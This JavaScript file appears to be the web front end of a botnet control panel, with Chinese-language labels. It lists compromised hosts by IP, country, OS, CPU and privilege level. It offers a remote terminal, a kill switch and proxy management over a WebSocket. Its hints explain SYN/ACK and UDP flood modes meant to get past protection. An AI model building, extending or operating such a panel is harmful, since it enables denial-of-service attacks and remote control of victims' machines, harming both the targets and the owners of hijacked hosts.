var mytable = $('#table');
var kill;
var mytm = {};
function proxyshow(){
	$('#ProxyMod').modal('show');
}
window.actionEvents = {
    'click #tm': function (e, value, row, index) {
      $('#TerminalMod').modal('show');
       mytm.Id = row.Id.toString();
       mytm.code = "200";
       mytm.Data = "";
       runFakeTerminal();
    },
    'click #bz': function (e, value, row, index) {
    let label=document.getElementById("bzmsg"); 
    label.innerText=row.Id.toString();
    $('#BzMod').modal('show');
    }
}

function modify(){
   let label=document.getElementById("bzmsg"); 
   let data = {};
	   data.Id = label.innerText;
       data.code = "102";
       data.Data = $("input:text[id=modifyh]").val();
       myws.send(JSON.stringify(data));
       $('#BzMod').modal('hide');
}

function actionFormatter(value, row, index) {
    return '<button class="btn btn-primary" id="tm">终端</><button class="btn btn-primary" style="display:inline-block;margin-left:10px;" id="bz">备注</>'
}


 mytable.bootstrapTable('destroy').bootstrapTable({
      height: 550,
      locale: $('#locale').val(),
      uniqueId:'Id',
      columns: [
        {
          title: 'ID',
          field: 'Id',
          align: 'center',
          valign: 'middle',
          sortable: true,
        }, {
          title: 'IP',
          field: 'Ip',
          align: 'center',
          sortable: true,
        }, {
          title: '国别',
          field: 'Country',
          align: 'center',
          sortable: true,
        },{
          title: '系统',
          field: 'Os',
          align: 'center',
          sortable: true,
        },{
          title: '架构',
          field: 'Arch',
          align: 'center',
          valign: 'middle',
          sortable: true,
        },{
          title: 'CPU线程',
          field: 'Cpu',
          align: 'center',
          sortable: true,
        },{
          title: '伪造开始',
          field: 'Begin',
          align: 'center',
          sortable: true,
        },{
          title: '伪造结束',
          field: 'End',
          align: 'center',
          sortable: true,
        },{
          title: '权限',
          field: 'Permission',
          align: 'center',
          sortable: true,
        },{
          title: '任务状态',
          field: 'Task',
          align: 'center',
          sortable: true,
        },{
          title: '备注',
          field: 'Remarks',
          align: 'center',
          sortable: true,
        },{
          field: 'operate',
          title: '操作区域',
          align: 'center',
          clickToSelect: false,
          events: window.actionEvents,
          formatter: actionFormatter
        }
      ]
    })


function message(msg, type) {
	let divElement = $("<div></div>").addClass('alert').addClass('alert-' + type).addClass('alert ');
	divElement.css({"position": "absolute","left": "50%","top": "52%"});
	divElement.text(msg); 
	$('body').append(divElement);
	let px = "-" + (divElement.outerWidth() / 2).toString() + "px";
	divElement.css({"margin-left": px});
	setTimeout(function() {
		let IntervalMS = 10;
		let floatSpace = 180;
		let nowTop = divElement.offset().top;
		let stopTop = nowTop - floatSpace;
		divElement.fadeOut(IntervalMS * floatSpace);
		let upFloat = setInterval(function() {
			if (nowTop >= stopTop) {
				divElement.css({"top": nowTop--});
			} else {
				clearInterval(upFloat);
				divElement.remove();
			}
		}, IntervalMS);
	}, 300);
}


function onkill(){
  let data = {};
  let msg = !kill;
  data.code="2";
  if (msg){data.type="true"}else{data.type="false"}
  myws.send(JSON.stringify(data));
}



function radiotips(tag,id){
	let label=document.getElementById(id); 
	switch (tag){
		case "rawradio0":label.innerText="提示:Raw模式下可多选例如:选择SYN就是SYN ACK就是ACK,也可以PSH和ACK一起勾选等任意组合!"; break;
		case "rawradio1":label.innerText="提示:强制UDP需要Syn权限,标准UDP空包,性能优异,但是容易防护,附加封包内容留空!"; break;
		case "rawradio2":label.innerText="提示:强制UDP需要Syn权限,该模式发送随机数据穿透效果更强,但是性能一般,附加封包内容留空!"; break;
		case "rawradio3":label.innerText="提示:强制UDP需要Syn权限且需要填写HEX格式封包内容,需要一定技术能力!"; break;
	}
}


$("#rawradio0").bind("click",function(){
       radiotips("rawradio0","synmsg");
});
$("#rawradio1").bind("click",function(){
       radiotips("rawradio1","synmsg");
});
$("#rawradio2").bind("click",function(){
       radiotips("rawradio2","synmsg");
});
$("#rawradio3").bind("click",function(){
       radiotips("rawradio3","synmsg");
});

function outlogin(){
	window.alert("您已经在其他地方登录!");
	window.opener = null; 
	window.open('', '_self'); 
	window.close();
}
function onproxy(){
  let data = {};
  data.code="3";
  data.port=$("input:text[id=proxyport]").val();
  myws.send(JSON.stringify(data));
}
function offproxy(){
  let data = {};
  data.code="4";
  myws.send(JSON.stringify(data));
}
function addproxy(){
 let data = {};
  data.code="5";
  data.data=$("input:text[id=listtex]").val();
  myws.send(JSON.stringify(data));
	
}
function delproxy(){
  let data = {};
  data.code="6";
  data.data=$("input:text[id=listtex]").val();
  myws.send(JSON.stringify(data));
}
function allproxy(){
  let data = {};
  data.code="7";
  myws.send(JSON.stringify(data));
	
}

